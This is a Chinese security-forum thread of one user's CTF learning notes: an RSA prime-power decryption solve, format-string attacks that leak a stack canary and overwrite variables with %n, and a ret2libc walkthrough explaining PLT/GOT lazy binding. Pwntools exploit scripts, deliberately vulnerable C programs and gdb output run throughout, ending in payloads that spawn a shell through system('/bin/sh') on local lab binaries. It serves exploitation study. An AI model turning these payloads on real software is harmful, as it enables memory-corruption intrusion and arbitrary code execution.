  26. 11796453356132284148422938761562600214225675924279683028478380722945437234530956969294429128323092738689527969689357592743831130347384964371001958489912012357659500550437774821149419489076424374880866463705660701853957618782968842965923758029758553804789069707336180380168094605200629824934960177545822373599659300509496124689870163356274233546217714559643444924926479403669660041925945133462798197896115911135151918828684724230761295703383108946288663598655415926970307153390774138393949704878228989851570676562192222015916809796378291700732897469560166879367161203636851808270864851690464388827539561299917226173329661307550306261776146994083834852759190786838800169797734596817908360023879512966960155277428402668876957890075895456776924818141952867724500850559110593572625223410181840522260067320488593584770339437359933346415314240114658610641132163001278825791914931344702342923594079867531349150032253727426883898669649237603809250967532413494387247319852615736269410630195396174781003944827668843857879193569

  27. 283114880547174819562150530277502405141416222182712392683481137350690493628742967263066299079754225728548671272544582225851947128337239144904047003757888296583828013210506595707586067737834184997140795128935856844494982850791252231182170192714205291314937672976068329124034270524815115798439044261099736966391823212227906992556883920550581605109225149431442678198235505688071841006222683203107156749506781867243646051888433381538271096881194614710927926367729982247287371681378579321454792917077495756437696237492613328382003435113079000817589539269444005104811868887284443398500756440571145331860949471198013428159911871381207350282627527858012036466220578884131204075145630323629800640573108311207043726658281664053046989361821490962646195635406868825388020413418654245743005361844364172534241615691726246034488146496638400313967541762751806655387171912030691819005958352272856230166257916820752379600774089458245213568071581702491422023220777923865293935676462777670465855124689508194744094675864052252589100645632
复制代码

分析:
getPrime(1024)返回一个随机的1024位素数p;
random.randint(2, 10)返回一个随机的满足2 ≤ r ≤ 10的数r;
公钥n等于p的r次幂(欧拉函数幂次问题)
int函数将明文信息(设为a)转化为16进制整型,pow函数先取幂再取模,即a^e ≡ c (mod n)
再利用long_to_bytes函数把长整数转换为字节字符串,再base64加密一下。
得到c和n。
所以解密思路是:
分解n,得到n等于某个质数p的r次方。
base64解码c,再bytes_to_long转化加密信息c。
利用欧拉函数求φ(n),由于是幂次问题,可以通过φ(n)=( p-1 )[ p^(r-1) ]求得φ(n)。
因为ed ≡ 1(mod φ(N)),所以d是e关于φ(N)的逆模,利用libnum.modular.invmod函数求逆模,找出d;
要求明文信息a,因为(c^d) ≡ a (mod n),所以c的d次方取模n就是明文a,再转化成字符串得到flag。
python代码:
  1. import libnum
  2. from Crypto.Util.number import *
  3. import gmpy2
  4. import random
  5. import base64

  6. n=4600616808891590817884946117009414083548013610469076381106568481948720521467073218024827360073980550620353792084520767372304347132535784875671026563160583598386773718586111034826555689602824563172463446924287072570386712719870348862904936370894695108302490867826094352072132696743116741635111860205049129717948520534270924834318704244999690532431941248905257880347561221151841978982240191397364038490250930604211256385925496658620755582058753376328583001312846508295319286941837220522563729215928111164274042890696771820759856790994461944209269732769269559257608440686713206622111649275898426040931301005711446055819707704086201357712959922814300067907536161841255533171805313149332383712997091780368142625499055149806043238057037400510197255364471685815004154357049874205884682322443391374020169114833722616851257895369648472048116320266548560787733764126281102645474252013714507014577620450816459153848279084910457288549191
  7. c='apxy3z3DgGnzaEedcUy3A49wAsqyyn9sqx6eYZL5iDrCq0Wjs8BOY2Ofza5wuaFigm32PVpO5jpuDgw9b6oX8KM2ZB9/dDmwQc7JKnAKhCQrIc1v9qt7iQbnTK0DTQj/xvQkz/IBeSjoWBmHOx4s0tDxZRAjOPui5wwAywNM3ynULEPczv+xN2v+6HBeoS2YuyfF5mq/pIAMPwZs+QpkuwxSbNQ6xPNP9Ox1IeKz/41F7/D2fDsGB5CcFdAiQq+r95BhVeGzeaiQBpzwAXAPKIyO+fP6/M9XmpSJwjaMSiAUnksp9KfVOXgEG9Z0FmxP6rgqPl0vU+rVeJ2RsTUYCSP8Vy+PD3PGwDDdUtNzvcEXKr2BKiNoOUxprBAtyvcsmGqRLgDl1ZVgzSZ1U4MAmJ9x42mIU0XvolqaOCJZzaym1kJoBlw7/7+Nej4owEtan/c3TIkDkr/gCenUD/8MSlvnfTUMGdQLkSht2BZiuiHxVVRVzY5ETG6v+w9AtDMC'
  8. yz=libnum.factorize(n)
  9. cf=bytes_to_long(base64.b64decode(c))
  10. #print(cf)
  11. #print(yz)
  12. for k,v in yz.items():
  13.         p=k;
  14.         r=v;
  15. phi=(p**(r-1))*(p-1)
  16. e=65537
  17. d = libnum.modular.invmod(e, phi)
  18. m = libnum.n2s(pow(cf, d, n))
  19. print(m)
复制代码




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-4-8 20:50:06 | 显示全部楼层
格式化字符串与canary保护(二)2020-04-08
泄露任意地址的内存
之前的方法还只是泄露栈上变量值,没法泄露变量的地址,但是如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容
  1. linux下:
  2. addr%k$p
复制代码

在Windows下把输入换成下面的字符串,确定格式化字符串是第几个参数:
  1. AAAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-
复制代码
  1. AAAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-
  2. AAAAA  19ff30-  4011d0-  2ea000-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-41414141-78382541-7838252d-7838252d-7838252d-7838252d-7838252d-7838252d-7838252d-
复制代码


输出的内容和前面的输入重复了,就说明可以确定是第几个参数。但是不排除栈上有些其他变量也是这个值,所以可以用一些其他的字符进行再次尝试。
根据这个原理,切换到linux下进行测试。
注:%$x 是直接读取从当前位置往下数第number个位置的参数,同样可以用在$n,$d,$p等等。
gcc打开canary保护

  1. gcc -no-pie -fstack-protector -m32 -o test1.exe test1.c
  2. gdb test1.exe
复制代码
  1. pwndbg> i b
  2. No breakpoints or watchpoints.
  3. pwndbg> b func
  4. Breakpoint 2 at 0x80491c1
  5. pwndbg> i b
  6. Num     Type           Disp Enb Address    What
  7. 2       breakpoint     keep y   0x080491c1 <func+4>
复制代码
依次执行r和n指令,直到看到一行这样的指令:

  1. 0x80491cf <func+18>    mov    eax, dword ptr gs:[0x14] <0x804c000>
复制代码

查看内容:
  1. pwndbg> x/x 0x804c000
  2. 0x804c000:        0x0804bf14
复制代码


即插入canary的代码。查看canary:
  1. pwndbg> canary
  2. AT_RANDOM = 0xffffd4bb # points to (not masked) global canary value
  3. Canary    = 0xe1ab7500
  4. Found valid canaries on the stacks:
  5. 00:0000│   0xffffd27c ◂— 0xe1ab7500
复制代码


所以思路是:读取到canary的值并加入到payload中,在canary的地址放入原来canary的值。
在进行到read函数时,查看堆栈:

  1. stack 20
复制代码


可以看到偏移为0x2c即44,4位一组偏移为11个内存单元。
输入:

  1. %11$8x
复制代码


获得了canary的值,并以16进制形式输出。
exp:
  1. from pwn import *
  2. p=process("./test.exe")
  3. p.sendline("%11$08x")
  4. canary=p.recv()[:8]
  5. print(canary)

  6. canary=canary.decode("hex")[::-1]

  7. coffset=4*4
  8. roffset=3*4
  9. raddr=p32(0x8049192)
  10. payload=coffset*'a'+canary+roffset*'a'+raddr
  11. p.sendline(payload)
  12. p.interactive()
复制代码


覆盖栈内存
%n与其他格式说明符号不同。%n不向printf传递格式化信息,而是令printf把自己到该点已打出的字符总数放到相应变元指向的整形变量中。因此%n对于抄的变元必须是整形指针。

对printf调用返回之后,%n对于变元指向的变量中将包含有一个整数值,表示出现%n时已经由该次printf调用输出的字符数。

printf(“this%n is a test\n”,&count);//调用后count为4

C语言代码:
(和攻防世界pwn新手区第一题hello_pwn类似)
  1. #include <stdio.h>
  2. int a = 123, b = 456;
  3. int main() {
  4.   int c = 789;
  5.   char s[100];
  6.   printf("%p\n", &c);
  7.   scanf("%s", s);
  8.   printf(s);
  9.   if (c == 16) {
  10.     puts("modified c.");
  11.   } else if (a == 2) {
  12.     puts("modified a for a small number.");
  13.   } else if (b == 0x12345678) {
  14.     puts("modified b for a big number!");
  15.   }
  16.   return 0;
  17. }
复制代码

希望通过改变C的值输出modified c.。而%n不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值。
步骤:
1.确定覆盖地址
2.确定偏移大小
3.覆盖

可更改内存单元是第6个参数所在,而输出c的地址(4位)后,还需要12位才凑够16。故payload构成为:addr_c+’a’* 12+’%6$n’

  1. from pwn import *

  2. p = process('./string1')

  3. addr_c = int(p.recvuntil('\n',drop=True), 16)
  4. print hex(addr_c)
  5. payload = p32(addr_c)+'a'*12+'%6$n'
  6. p.sendline(payload)
  7. print p.recv()
  8. p.interactive()
复制代码

这里,recvuntil是接收输出直到’\n’为止,drop=True是指丢弃掉最后until的’\n’字符。就接收到了c的地址。
但是这样的payload有个问题,把4字或8字的地址放在前面,所以覆盖字节至少也比4大。
C语言代码:

  1. #include <stdio.h>
  2. int a = 123, b = 456;
  3. int main() {
  4.   int c = 789;
  5.   char s[100];
  6.   printf("%p\n", &c);
  7.   scanf("%s", s);
  8.   printf(s);
  9.   if (c == 3) {
  10.     puts("modified c.");
  11.   } else if (a == 2) {
  12.     puts("modified a for a small number.");
  13.   } else if (b == 0x12345678) {
  14.     puts("modified b for a big number!");
  15.   }
  16.   return 0;
  17. }
复制代码

修改为c == 3输出modified c.
可以这样修改:
  1. from pwn import *

  2. p = process('./str2')

  3. addr_c = int(p.recvuntil('\n',drop=True), 16)
  4. print hex(addr_c)
  5. payload = 'aaa%8$na'+p32(addr_c)
  6. p.sendline(payload)
  7. print p.recv()
  8. p.interactive()
复制代码


其中,4位4位一个内存单元。aaa%是第6个参数,8$na是第7个参数,addr_c就是第8个参数了。所以%8$n前有3个字符,再取第8个参数的地址(%后的数字设置为8),就将addr_c的内容覆盖为3了。
这里掌握的小技巧:没有必要把地址放在最前面,只需要找到它对应的偏移就可以。
若是覆盖大数字,变量在内存中都是以字节的格式存储的,在 x86、x64 中是按照小端存储的,格式化字符串里面有两个标志用的上了:

h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数

意思是说hhn写入的就是单字节,hn写入的就是双字节。

  1. from pwn import *
  2. sh = process('./overwrite')
  3. b_addr=0x0804A028
  4. payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
  5. payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
  6. sh.sendline(payload)
  7. #sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
  8. #pwntools带着一个函数,很方便
  9. print sh.recv()
  10. sh.interactive()
复制代码

地址经过前面的p32()打包后,会变成4个字符,4*4+104=120,即0x78。120+222=342,即0x156,然后依次是:0x234、0x312,又因为 hh 是写入单字节的,又是小端存储,也就是只能取后边两个,所以连起来就是 0x12345678。






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-4-8 20:52:31 | 显示全部楼层
本帖最后由 pukr 于 2020-4-8 21:25 编辑

2020-04-08ret2libc
2020-04-08 |  PWN入门

PLT表和GOT表及延迟绑定机制
linux下的动态链接是通过PLT&GOT来实现的
关于动态链接与静态链接,可以打个比方就是:如果我的文章引用了别人的一部分文字,在我发布文章的时候把别人的段落复制到我的文章里面就属于静态连接,而做一个超链接让你们自己去看就属于动态链接了
C语言代码:
  1. #include <stdio.h>
  2. int main(void)
  3. {
  4.     printf("hello world\n");
  5.     return 0;
复制代码


可以看到,所有plt表里的函数地址都是负数,也就是说,printf函数位于glibc动态库内,所以在编译和链接阶段,链接器无法知知道进程运行起来之后printf函数的加载地址。只有进程运运行后,printf函数的地址才能确定。
进程运行起来之后,glibc动态库也装载了,printf函数地址亦已确定,上述call指令如何修改(重定位)呢?
一个简单的方法就是将指令中的printf函数地址修改printf函数的真正地址即可。
但这个方案面临两个问题:
现代操作系统不允许修改代码段,只能修改数据段
如果print_banner函数是在一个动态库(.so对象)内,修改了代码段,那么它就无法做到系统内所有进程共享同一个动态库。
因此,printf函数地址只能回写到数据段内,而不能回写到代码段上。
链接器会额外生成一小段代码,通过这段代码来获取 printf() 的地址,像下面这样,进行链接的时候只需要对printf_stub() 进行重定位操作就可以


简化为:

  1. .text
  2. ...

  3. // 调用printf的call指令
  4. call printf_stub
  5. ...
  6. printf_stub:
  7.     mov rax, [printf函数的储存地址] // 获取printf重定位之后的地址
  8.     jmp rax // 跳过去执行printf函数

  9. .data
  10. ...
  11. printf函数的储存地址,这里储存printf函数重定位后的地址
复制代码


总体来说,动态链接每个函数需要两个东西:
1、用来存放外部函数地址的数据段
2、用来获取数据段记录的外部函数地址的代码
为什么设置成这么奇怪的结构,后面会说明。
对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表(GOT, Global Offset Table),那个存放额外代码的表称为程序链接表(PLT,Procedure Link Table)


可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址
在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制
延迟绑定机制
只有动态库函数在被调用时,才会地址解析和重定位工作,为此可以使用类似这样的代码来实现:
跳转到<printf@plt>看看发生了什么



  1. 0x56556030 <puts@plt>                  jmp    dword ptr [ebx + 0xc] <0x5655900c>

  2. 0x56556036 <puts@plt+6>                push   0
  3. 0x5655603b <puts@plt+11>               jmp    0x56556020

  4. 0x56556020                             push   dword ptr [ebx + 4]
  5. 0x56556026                             jmp    dword ptr [ebx + 8]

  6. 0xf7fe9440 <_dl_runtime_resolve>       push   eax
  7. 0xf7fe9441 <_dl_runtime_resolve+1>     push   ecx
  8. 0xf7fe9442 <_dl_runtime_resolve+2>     push   edx
  9. 0xf7fe9443 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
  10. 0xf7fe9447 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xc]
  11. 0xf7fe944b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe37f0>
复制代码


简化为:


  1. //一开始没有重定位的时候将 printf@got 填成 lookup_printf 的地址
  2. void printf@plt()
  3. {
  4. address_good:
  5.     jmp *printf@got   
  6. lookup_printf:
  7.     调用重定位函数查找 printf 地址,并写到 printf@got
  8.         goto address_good;//再返回去执行address_good
  9. }
复制代码



看看栈中出现的其他地址分别是什么:




继续n,看到这样的指令:




进入到了<_dl_runtime_resolve>函数。
再继续执行,发现了call_dl_fixup <0xf7fe37f0>指令。这是真正的寻址。
执行完这个函数后,再回来看GOT表中储存printf函数真实地址的内存单元:

可见,这时候存储的就是glibc中真实的printf(puts)函数的地址了。
这里还有很多细节问题,我暂时没有清楚。但是大致流程是这样的。
第一次调用:

再一次调用

ret2libc
C语言代码:
  1. #include<stdio.h>
  2. char buf2[10] = "this is buf2";
  3. void vul()
  4. {
  5.         char buf1[10];
  6.         gets(buf1);
  7. }
  8. void main()
  9. {
  10.         write(1,"sinxx",5);
  11.         vul();
  12. }
复制代码


可以看到,编译出来的文件中不包含system函数和’/bin/sh’字符串。但是glibc的地址是泄露了的,所以通过泄露的地址再减去偏移可计算出基址。
基址加上需要的偏移就会得到任意函数或者字符串。
第一次输入获得泄露的真实地址并接收,返回地址用可在此执行rop链的函数覆盖。第二次输入发送payload并getshell。
通常用elf来寻找真实地址,而不是手动寻找。
偏移:
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process("t.exe")
  4. e=ELF("t.exe")
  5. lib=ELF("/lib/i386-linux-gnu/libc.so.6")
  6. va_sh=lib.search("/bin/sh").next()
  7. va_system=lib.symbols["system"]
  8. va_gets=lib.symbols["gets"]
  9. print hex(va_sh)+"  "+hex(va_system)+"  "+hex(va_gets)


  10. addr_gets=e.plt["gets"]
  11. addr_gets2=e.got["gets"]
  12. print hex(addr_gets)
  13. print hex(addr_gets2)

  14. addr_strcpy=e.plt["strcpy"]
  15. addr_strcpy2=e.got["strcpy"]
  16. print hex(addr_strcpy)
  17. print hex(addr_strcpy2)

  18. addr_puts=e.plt["puts"]
  19. addr_puts2=e.got["puts"]
  20. print hex(addr_puts)
  21. print hex(addr_puts2)

  22. addr_read=e.plt["read"]
  23. addr_read2=e.got["read"]
  24. print hex(addr_read)
  25. print hex(addr_read2)

  26. addr_write=e.plt["write"]
  27. addr_write2=e.got["write"]
  28. print hex(addr_write)
  29. print hex(addr_write2)

  30. addr_scanf=e.plt["__isoc99_scanf"]
  31. addr_scanf2=e.got["__isoc99_scanf"]
  32. print hex(addr_scanf)
  33. print hex(addr_scanf2)

  34. addr_start=e.plt["__libc_start_main"]
  35. addr_start2=e.got["__libc_start_main"]
  36. print hex(addr_start)
  37. print hex(addr_start2)
  38. p.sendline("ddddddddddd")
  39. p.interactive()
复制代码

exp:

  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process("./9.exe")
  4. e=ELF(".9.exe")
  5. addr_write=e.plt["write"]
  6. addr_gets=e.got["gets"]
  7. addr_vul=e.symbols["vul"]

  8. print pidof(p)
  9. offset=22
  10. pause()

  11. payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
  12. #填充'a',然后跳转到write函数地址。write函数的返回地址用vul函数覆盖,write函数的参数为"1, gets函数地址, 4"
  13. p.sendlineafter("sinxx",payload1)
  14. gets_real_addr=u32(p.recv(4))

  15. libc=ELF("/lib/i386-linux-gnu/libc.so.6")
  16. rva_libc=gets_real_addr-libc.symbols["gets"]
  17. addr_system=rva_libc+libc.symbols["system"]
  18. addr_binsh=rva_libc+libc.search("/bin/sh").next()

  19. payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
  20. p.sendline(payload2)
  21. p.interactive()
复制代码






欢迎去我的博客找我玩

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-4-13 23:01:16 | 显示全部楼层
打开了硬件新世界大门。明天更新hcsr-04传感器工作原理和测距python代码,数学和物理水平有限,方程只能挑最简单的写。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 07:37 , Processed in 0.033491 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表